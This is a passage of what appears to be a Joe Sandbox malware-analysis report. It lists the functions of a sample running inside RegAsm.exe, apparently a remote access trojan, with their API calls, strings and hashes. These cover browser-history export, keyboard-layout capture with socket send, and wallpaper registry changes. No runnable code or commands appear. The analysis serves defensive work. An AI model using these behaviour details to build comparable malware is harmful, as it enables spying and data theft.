                        • String ID: SG$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                        • API String ID: 0-643455097
                        • Opcode ID: a5e5064d23fdb4a5105bb888b891a2001f99cf11455aefb2b8df45e89f9c3324
                        • Instruction ID: 1b954d03a55cc3c1a25a26db856d3c6076ddce7f3b9fad0ad77fefb3a3407f05
                        • Opcode Fuzzy Hash: a5e5064d23fdb4a5105bb888b891a2001f99cf11455aefb2b8df45e89f9c3324
                        • Instruction Fuzzy Hash: 2CF046B0F14A00EBCB0467655D186693A05A740356F404C77F907EA2F2EBBD5C41C61E
                        Function 0044333A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,004432EB,?,?,0044328B,?), ref: 0044335A
                        • GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,?,004432EB,?,?,0044328B,?), ref: 0044336D
                        • FreeLibrary.KERNEL32(00000000,?,?,?,004432EB,?,?,0044328B,?), ref: 00443390
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: AddressFreeHandleLibraryModuleProc
                        • String ID: CorExitProcess$mscoree.dll
                        • API String ID: 4061214504-1276376045
                        • Opcode ID: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                        • Instruction ID: b4f1316bd170a33105784e50650a9bde6d9e9410588fddf83d5a1a7bf10dc45d
                        • Opcode Fuzzy Hash: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                        • Instruction Fuzzy Hash: 6AF0A430A00208FBDB149F55DC09B9EBFB4EF04713F0041A9FC05A2261CB349E40CA98
                        Function 004050E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                        Download Yara Rule
                        APIs
                        • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405120
                        • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 0040512C
                        • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,00404E7A,00000001), ref: 00405137
                        • CloseHandle.KERNEL32(?), ref: 00405140
                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                        • String ID: KeepAlive | Disabled
                        • API String ID: 2993684571-305739064
                        • Opcode ID: 11e320f67abdd95442ebe69be37ae07741154b3609cf10b7525108ad99fbffe3
                        • Instruction ID: c1447ea2195e795a2fa4d382ed9a15925dec3dc8ccf256ab7d783030aa8980db
                        • Opcode Fuzzy Hash: 11e320f67abdd95442ebe69be37ae07741154b3609cf10b7525108ad99fbffe3
                        • Instruction Fuzzy Hash: 4CF06271904711BBDB103B758D0A66B7A54AB02311F0009BEF982916E2D6798840CF9A
                        Function 0041ADC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30sleepCOMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                        • GetModuleHandleA.KERNEL32(00000000,00020009), ref: 0041ADF2
                        • PlaySoundW.WINMM(00000000,00000000), ref: 0041AE00
                        • Sleep.KERNEL32(00002710), ref: 0041AE07
                        • PlaySoundW.WINMM(00000000,00000000,00000000), ref: 0041AE10
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: PlaySound$HandleLocalModuleSleepTime
                        • String ID: Alarm triggered
                        • API String ID: 614609389-2816303416
                        • Opcode ID: 458a9fadc2ddf1b51f38526f332080559b1bee2397fd5821544ba6e308cf5034
                        • Instruction ID: 9c0713ce1321a11b0f254193fe9a85ef30a97b7eb59a64372af151f10574a600
                        • Opcode Fuzzy Hash: 458a9fadc2ddf1b51f38526f332080559b1bee2397fd5821544ba6e308cf5034
                        • Instruction Fuzzy Hash: 36E01226B44260779620377B6D4FD6F3D28DAC2B5170100BEFA0666192D9580C4586FB
                        Function 0041CD58 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                        Download Yara Rule
                        APIs
                        • GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041CDED), ref: 0041CD62
                        • GetConsoleScreenBufferInfo.KERNEL32 ref: 0041CD6F
                        • SetConsoleTextAttribute.KERNEL32(00000000,0000000C), ref: 0041CD7C
                        • SetConsoleTextAttribute.KERNEL32(00000000,?), ref: 0041CD8F
                        Strings
                        • ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041CD82
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Console$AttributeText$BufferHandleInfoScreen
                        • String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
                        • API String ID: 3024135584-2418719853
                        • Opcode ID: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                        • Instruction ID: 0b88db63cd78dea0703aeaf814a7171c31f7e2e6e0b1944ffb711cb25cf7542c
                        • Opcode Fuzzy Hash: 7fe6fe9ce11b1ae804115fcba13355f31785efbed8ffac05f5782df1f2ab6211
                        • Instruction Fuzzy Hash: B4E04872904315E7E31027B5EC4DDAB7B7CE745713B100266FA12915D39A749C40C6B5
                        Function 0044139A Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: d82b14c4b7eddcab2a525b8a5736e815382cccc6b286473e45e20a4a09cb7dcc
                        • Instruction ID: 3288ceb70b28299b768e57bc56a65f905b411dc47ae91625c595fe6b39b3afde
                        • Opcode Fuzzy Hash: d82b14c4b7eddcab2a525b8a5736e815382cccc6b286473e45e20a4a09cb7dcc
                        • Instruction Fuzzy Hash: 4D71C431900256ABEF21CF55C884AFFBBB5EF95350F14012BE812A72A1D7748CC1CBA9
                        Function 00444CFB Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                        • _free.LIBCMT ref: 00444E06
                        • _free.LIBCMT ref: 00444E1D
                        • _free.LIBCMT ref: 00444E3C
                        • _free.LIBCMT ref: 00444E57
                        • _free.LIBCMT ref: 00444E6E
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free$AllocateHeap
                        • String ID:
                        • API String ID: 3033488037-0
                        • Opcode ID: 40f9e7cc2be6d4603e073625857eb528f872492eb2fa809e82d56bfb9c8f3841
                        • Instruction ID: 75a60bec03265776b93b53542ea819fdab521e44af267d44e1f719a945e8e2e2
                        • Opcode Fuzzy Hash: 40f9e7cc2be6d4603e073625857eb528f872492eb2fa809e82d56bfb9c8f3841
                        • Instruction Fuzzy Hash: 5451D371A00704AFEB20DF6AC841B6673F4FF85729B14456EE819D7250E739EE01CB88
                        Function 00449365 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                        • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                        • _free.LIBCMT ref: 004493BD
                          • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                          • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                        • _free.LIBCMT ref: 00449589
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                        • String ID:
                        • API String ID: 1286116820-0
                        • Opcode ID: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                        • Instruction ID: c95a83c4fc9d8f5f381c6ef12c4bd90d50aad01b0883e3b7d6e96279f2ead045
                        • Opcode Fuzzy Hash: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                        • Instruction Fuzzy Hash: 71511A71904205EBEB14EFA9DD819AFB7BCEF44324F10066FE51493291EB788E42DB58
                        Function 0040F8FD Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                        • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F91B
                        • Process32FirstW.KERNEL32(00000000,?), ref: 0040F93F
                        • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F94E
                        • CloseHandle.KERNEL32(00000000), ref: 0040FB05
                          • Part of subcall function 0041BFE5: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040F5F9,00000000,?,?,00475338), ref: 0041BFFA
                          • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                          • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                        • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040FAF6
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Process$OpenProcess32$Next$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                        • String ID:
                        • API String ID: 4269425633-0
                        • Opcode ID: 050d440512ad4bd2d5c4b985fe1e5d11bc0defa287e01fcc1b5db6667af7a0db
                        • Instruction ID: d179df5438ecf7187d550cf9263b6860c2801d48d571b2859f9d543a591e132f
                        • Opcode Fuzzy Hash: 050d440512ad4bd2d5c4b985fe1e5d11bc0defa287e01fcc1b5db6667af7a0db
                        • Instruction Fuzzy Hash: 784116311083419BC325F722DC55AEFB3A5AF94345F50493EF48A921E2EF385A49C75A
                        Function 00443DF9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free
                        • String ID:
                        • API String ID: 269201875-0
                        • Opcode ID: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                        • Instruction ID: 5dce3a056f7b38871bf3701478ebec2c01ef4ac0d1e4adeac0a27022f106ca0c
                        • Opcode Fuzzy Hash: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                        • Instruction Fuzzy Hash: 0741F536A012009FEB20DF78C881A5EB3F1EF89B14F2545AEE515EB341DB35AE01CB84
                        Function 0045112C Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • MultiByteToWideChar.KERNEL32(?,00000000,?,00000000,00000000,00000000,0042DD01,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01), ref: 00451179
                        • __alloca_probe_16.LIBCMT ref: 004511B1
                        • MultiByteToWideChar.KERNEL32(?,00000001,?,00000000,00000000,0042DD01,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01,?), ref: 00451202
                        • GetStringTypeW.KERNEL32(00000001,00000000,00000000,00000001,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01,?,00000002,00000000), ref: 00451214
                        • __freea.LIBCMT ref: 0045121D
                          • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                        • String ID:
                        • API String ID: 313313983-0
                        • Opcode ID: c0c27e3fa0fc37b5352cac75d9871c7cd610c85ad5d081213d6c80f72d2fc676
                        • Instruction ID: 2862a929c21554b3885a63a70f5d1b49ed21d23a3953ed9914841bfcf42aa681
                        • Opcode Fuzzy Hash: c0c27e3fa0fc37b5352cac75d9871c7cd610c85ad5d081213d6c80f72d2fc676
                        • Instruction Fuzzy Hash: 6631D271A0020AABDF24DFA5DC41EAF7BA5EB04315F0445AAFC04D72A2E739CD55CB94
                        Function 0044F35A Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                        Download Yara Rule
                        APIs
                        • GetEnvironmentStringsW.KERNEL32 ref: 0044F363
                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F386
                          • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044F3AC
                        • _free.LIBCMT ref: 0044F3BF
                        • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F3CE
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                        • String ID:
                        • API String ID: 336800556-0
                        • Opcode ID: be8aad2c18c16d35f713b979a96ac7f1c772162f60e003adf0fa877a85dcd87d
                        • Instruction ID: 8337c1946637dec1c7c9c61cb05458c13fbc509b7d73539ecc926bc10a2836fd
                        • Opcode Fuzzy Hash: be8aad2c18c16d35f713b979a96ac7f1c772162f60e003adf0fa877a85dcd87d
                        • Instruction Fuzzy Hash: 2301B173601755BB37211ABA5C8CC7F6A6CDAC6FA5315013FFD14C2202EA68CD0581B9
                        Function 00448299 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • GetLastError.KERNEL32(?,00000000,00000000,0043BC87,00000000,00000000,?,0043BD0B,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044829E
                        • _free.LIBCMT ref: 004482D3
                        • _free.LIBCMT ref: 004482FA
                        • SetLastError.KERNEL32(00000000,?,00405103), ref: 00448307
                        • SetLastError.KERNEL32(00000000,?,00405103), ref: 00448310
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ErrorLast$_free
                        • String ID:
                        • API String ID: 3170660625-0
                        • Opcode ID: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                        • Instruction ID: 817e1e76de570c2b023109a843fda652767a1b5a915d0172e9d2adf04509528a
                        • Opcode Fuzzy Hash: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                        • Instruction Fuzzy Hash: 5601F936500B0067F3112A2A5C8596F2559EBC2B7A735452FFD19A22D2EFADCC01816D
                        Function 004509BC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • _free.LIBCMT ref: 004509D4
                          • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                          • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                        • _free.LIBCMT ref: 004509E6
                        • _free.LIBCMT ref: 004509F8
                        • _free.LIBCMT ref: 00450A0A
                        • _free.LIBCMT ref: 00450A1C
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free$ErrorFreeHeapLast
                        • String ID:
                        • API String ID: 776569668-0
                        • Opcode ID: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                        • Instruction ID: 8e1836d4b3683ea2f551dac33bf8b94159c93f8dbbc189607f67f5fa0db289e6
                        • Opcode Fuzzy Hash: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                        • Instruction Fuzzy Hash: F3F04F76504600B79620EB5DE8C2C1B73D9EA0571A795891BF66CDB612CB38FCC0869C
                        Function 00444048 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                        Download Yara Rule
                        APIs
                        • _free.LIBCMT ref: 00444066
                          • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                          • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                        • _free.LIBCMT ref: 00444078
                        • _free.LIBCMT ref: 0044408B
                        • _free.LIBCMT ref: 0044409C
                        • _free.LIBCMT ref: 004440AD
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free$ErrorFreeHeapLast
                        • String ID:
                        • API String ID: 776569668-0
                        • Opcode ID: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                        • Instruction ID: c4ed0220327abb1134bcf7d54e43c2409a3611c90002b0fe773cef56a7474a4d
                        • Opcode Fuzzy Hash: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                        • Instruction Fuzzy Hash: 11F03AB18009208FA631AF2DBD414053B61E705769346822BF62C62A70C7B94ED2CFCF
                        Function 0044E6E9 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON
                        Download Yara Rule
                        APIs
                        • _strpbrk.LIBCMT ref: 0044E738
                        • _free.LIBCMT ref: 0044E855
                          • Part of subcall function 0043BD19: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0043BD1B
                          • Part of subcall function 0043BD19: GetCurrentProcess.KERNEL32(C0000417,?,00405103), ref: 0043BD3D
                          • Part of subcall function 0043BD19: TerminateProcess.KERNEL32(00000000,?,00405103), ref: 0043BD44
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                        • String ID: *?$.
                        • API String ID: 2812119850-3972193922
                        • Opcode ID: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                        • Instruction ID: 94a4b4bbf586d133b1ca6d09685756ea089c4dad0dcc4a5060c65dcbb11523ea
                        • Opcode Fuzzy Hash: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                        • Instruction Fuzzy Hash: B951C375E00109EFEF14DFAAC881AAEBBB5FF58314F25816EE454E7301E6399E018B54
                        Function 00409EA3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 157COMMON
                        Download Yara Rule
                        APIs
                        • GetKeyboardLayoutNameA.USER32(?), ref: 00409ED3
                          • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                          • Part of subcall function 0041C515: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041C52A
                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CreateFileKeyboardLayoutNameconnectsend
                        • String ID: XQG$NG$PG
                        • API String ID: 1634807452-3565412412
                        • Opcode ID: fa8e6cd71303f921af7aa315b6e572632f3cab55c95f2ef26eb534f0bd843a50
                        • Instruction ID: e0ccbd324811511655e6ba18c086c0ffec884fa52ef92f7e14ea490dcf81b303
                        • Opcode Fuzzy Hash: fa8e6cd71303f921af7aa315b6e572632f3cab55c95f2ef26eb534f0bd843a50
                        • Instruction Fuzzy Hash: BA5133315082415AC324F732D852AEFB3E5AFD4348F50493FF44A671E6EF78594AC649
                        Function 00442385 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                        Download Yara Rule
                        APIs
                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424DE
                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424F3
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                        • String ID: `#D$`#D
                        • API String ID: 885266447-2450397995
                        • Opcode ID: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                        • Instruction ID: d0478598ef992627c852fcfbe86add3ca1c9fa58067414995f231753f3186543
                        • Opcode Fuzzy Hash: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                        • Instruction Fuzzy Hash: 78519071A00208AFDF18DF59C980AAEBBB2FB94314F59C19AF81897361D7B9DD41CB44
                        Function 0040404C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93sleepCOMMON
                        Download Yara Rule
                        APIs
                        • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00404066
                          • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,638C1986,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                          • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
                          • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587
                          • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                        • Sleep.KERNEL32(000000FA,00465E74), ref: 00404138
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                        • String ID: /sort "Visit Time" /stext "$0NG
                        • API String ID: 368326130-3219657780
                        • Opcode ID: 3041f1bf41341a7a35509bb268a87c49b4086886f3ef8ac56f6be550602b56b3
                        • Instruction ID: 62b88373b0174ac8ae4090b78ebfd0a8fca35ca34796720d8357018cc2c92f87
                        • Opcode Fuzzy Hash: 3041f1bf41341a7a35509bb268a87c49b4086886f3ef8ac56f6be550602b56b3
                        • Instruction Fuzzy Hash: E9316271A0011956CB15FBA6D8969EE7375AB90308F40007FF206B71E2EF385D89CA99
                        Function 0041C9E2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                        Download Yara Rule
                        APIs
                        • SystemParametersInfoW.USER32 ref: 0041CAD7
                          • Part of subcall function 0041376F: RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 0041377E
                          • Part of subcall function 0041376F: RegSetValueExA.KERNEL32(?,004674B8,00000000,?,00000000,00000000), ref: 004137A6
                          • Part of subcall function 0041376F: RegCloseKey.KERNEL32(?), ref: 004137B1
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseCreateInfoParametersSystemValue
                        • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                        • API String ID: 4127273184-3576401099
                        • Opcode ID: a5c334ccb2f3e0acc440ce1cf8f28a98e6381df3e21f2f51dd4c73347d747d37
                        • Instruction ID: 1197cbbb31bb874c57b9e92d70abebba424d259215afdbf251ae70ffa4d9d73d
                        • Opcode Fuzzy Hash: a5c334ccb2f3e0acc440ce1cf8f28a98e6381df3e21f2f51dd4c73347d747d37
                        • Instruction Fuzzy Hash: 7B1184B2BC021473D419313E5DABBBE28029743B51F94416BF6123A6C6E8DF0A8102CF
                        Function 004162E4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON
                        Download Yara Rule
                        APIs
                        • _wcslen.LIBCMT ref: 004162F5
                          • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                          • Part of subcall function 00413877: RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                          • Part of subcall function 00413877: RegCloseKey.KERNEL32(004660A4), ref: 004138AB
                          • Part of subcall function 00409DE4: _wcslen.LIBCMT ref: 00409DFD
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _wcslen$CloseCreateValue
                        • String ID: !D@$okmode$PG
                        • API String ID: 3411444782-3370592832
                        • Opcode ID: 56d367afe2ba597d6a39c7afb1f52fa5ab03872d574dd40714d897b86eaaf0d3
                        • Instruction ID: dff749dc984b923ba5de2327a6f3f9cc2e67bcaf748228c26ce3aec7d70e92d7
                        • Opcode Fuzzy Hash: 56d367afe2ba597d6a39c7afb1f52fa5ab03872d574dd40714d897b86eaaf0d3
                        • Instruction Fuzzy Hash: 10119371B442011ADB187B72D832ABD22969F94358F80443FF54AAF2E2DEBD4C51525D
